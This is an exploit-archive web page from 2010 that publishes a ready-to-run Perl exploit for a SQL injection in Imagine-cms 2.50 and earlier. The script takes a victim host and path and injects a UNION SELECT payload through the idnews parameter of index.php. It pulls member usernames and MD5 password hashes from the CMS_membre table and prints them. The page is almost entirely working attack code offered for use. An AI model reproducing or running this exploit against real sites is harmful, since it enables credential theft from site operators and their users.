Home / os / win7

Imagine-cms <= 2.50 SQL Injection Exploit Vulnerability

Posted on 21 July 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Imagine-cms &lt;= 2.50 SQL Injection Exploit Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=======================================================
Imagine-cms &lt;= 2.50 SQL Injection Exploit Vulnerability
=======================================================


#!/usr/bin/perl
###########################################
#
# Script Name : Imagine-cms 2.50
#
# Version :  2.50
#
# Bug Type : SQL Injection
#
# Found by : Metropolis
#
# Home : http://metropolis.fr.cr
#
# Discovered : 21/07/2010
#
# Download app :
# http://www.imagine-cms.net/modules/
# telechargement/index.php?page=afficher_souscat&amp;id_cat=2
#
###########################################
use IO::Socket;
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
  print &quot;
- Author: Metropolis
&quot;;
  print &quot;- Imagine-cms &lt;= 2.50 Remote SQL Injection Exploit
&quot;;
}
sub usage()
{
  header();
  print &quot;- Usage: $0 &lt;host&gt; &lt;path&gt;
&quot;;
  print &quot;- &lt;host&gt; -&gt; Victim's host ex: www.victim.com
&quot;;
  print &quot;- &lt;path&gt; -&gt; ex: /
&quot;;
  exit();
}
sub exploit ()
{
  #Our variables...
  $spserver = $ARGV[0];
  $spserver =~ s/(http://)//eg;
  $sphost   = &quot;http://&quot;.$spserver;
  $spdir    = $ARGV[1];
  $spport   = &quot;80&quot;;
  $sptar    = &quot;index.php?page=commentaire&amp;idnews=&quot;;
  $spxp     = &quot;-1+and+1=0+union+select+1,2,concat(25552,membre_pseudo,25553,membre_mdp,25554),4,5+from+CMS_membre--&quot;;
  $spreq    = $sphost.$spdir.$sptar.$spxp;
  #Sending data...
  header();
  print &quot;- Trying to connect: $spserver
&quot;;
  $sp = IO::Socket::INET-&gt;new(Proto =&gt; &quot;tcp&quot;, PeerAddr =&gt; &quot;$spserver&quot;, PeerPort =&gt; &quot;$spport&quot;) || die &quot;- Connection failed...
&quot;;
  print $sp &quot;GET $spreq HTTP/1.1
&quot;;
  print $sp &quot;Accept: */*
&quot;;
  print $sp &quot;Referer: $sphost
&quot;;
  print $sp &quot;Accept-Language: tr
&quot;;
  print $sp &quot;User-Agent: NukeZilla
&quot;;
  print $sp &quot;Cache-Control: no-cache
&quot;;
  print $sp &quot;Host: $spserver
&quot;;
  print $sp &quot;Connection: close

&quot;;
  print &quot;- Connected...
&quot;;
  while ($answer = &lt;$sp&gt;) {
    if ($answer =~ /25552(.*?)25553([d,a-f]{32})25554/) {
      print &quot;- Exploit succeed!
&quot;;
      print &quot;- Username: $1
&quot;;
      print &quot;- MD5 HASH of PASSWORD: $2
&quot;;
      exit();
    }
  }
  #Exploit failed...
  print &quot;- Exploit failed
&quot;
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-07-21]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :